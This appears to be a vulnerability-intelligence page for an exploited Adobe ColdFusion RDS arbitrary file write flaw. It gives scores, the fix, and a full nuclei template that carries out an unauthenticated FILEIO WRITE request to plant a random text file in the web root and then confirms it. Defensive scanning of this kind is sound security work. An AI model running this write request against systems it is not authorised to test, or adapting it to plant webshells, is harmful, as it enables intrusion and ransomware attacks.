Adobe ColdFusion - RDS Arbitrary File Write

Exploited in the wild. Listed by CISA on 2026-07-07; known to be used by ransomware.

criticalseverity

10CVSS score

42.4%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lead to arbitrary code execution in the context of the current user. The RDS FILEIO WRITE operation allows unauthenticated attackers to write arbitrary files when RDS is enabled with authentication disabled. Exploitation of this issue does not require user interaction. Scope is changed.

Impact

An attacker can write arbitrary files to the server filesystem, leading to remote code execution by writing CFML webshells to the web root.

Fix

Update to ColdFusion 2025 Update 10 or ColdFusion 2023 Update 21 or later.

How to confirm it

Send: POST /CFIDE/main/ide.cfm?ACTION=FILEIO
Positive when: status_code == 200 and contains(body, "1:2:")
Send: GET /CFIDE/{{randfile}}.txt
Positive when: contains "{{randfile}}" AND status 200

Run it with nuclei: nuclei -id CVE-2026-48282 -u <target>

The full check

id: CVE-2026-48282

info:
  name: Adobe ColdFusion - RDS Arbitrary File Write
  author: watchtowr,DhiyaneshDk
  severity: critical
  description: |
    ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lead to arbitrary code execution in the context of the current user. The RDS FILEIO WRITE operation allows unauthenticated attackers to write arbitrary files when RDS is enabled with authentication disabled. Exploitation of this issue does not require user interaction. Scope is changed.
  impact: |
    An attacker can write arbitrary files to the server filesystem, leading to remote code execution by writing CFML webshells to the web root.
  remediation: |
    Update to ColdFusion 2025 Update 10 or ColdFusion 2023 Update 21 or later.
  reference:
    - https://helpx.adobe.com/security/products/coldfusion/apsb26-68.html
    - https://labs.watchtowr.com/its-37oc-and-all-we-can-think-about-is-coldfusion-adobe-coldfusion-security-bulletin-apsb26-68-cve-bonanza/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-48282
    epss-score: 0.42388
    epss-percentile: 0.98714
    cwe-id: CWE-22
  metadata:
    verified: true
  tags: cve,cve2026,rce,file-upload,adobe,coldfusion,rds,intrusive,kev,vkev

variables:
  randfile: "{{to_lower(rand_text_alpha(8))}}"

flow: |
  http("write") && http("verify")

http:
  - id: write
    raw:
      - |
        POST /CFIDE/main/ide.cfm?ACTION=FILEIO HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/octet-stream

        4:{{pathlen}}:{{dirpath}}{{randfile}}.txt000005:WRITE000001:0000008:{{randfile}}

    payloads:
      dirpath:
        - '/opt/coldfusion/cfusion/wwwroot/CFIDE/'
        - 'C:\ColdFusion2025\cfusion\wwwroot\CFIDE\'
        - 'C:\ColdFusion2023\cfusion\wwwroot\CFIDE\'

      pathlen:
        - '000050'
        - '000052'
        - '000052'

    attack: pitchfork
    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "1:2:")'
        condition: and
        internal: true

  - id: verify
    raw:
      - |
        GET /CFIDE/{{randfile}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{randfile}}'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from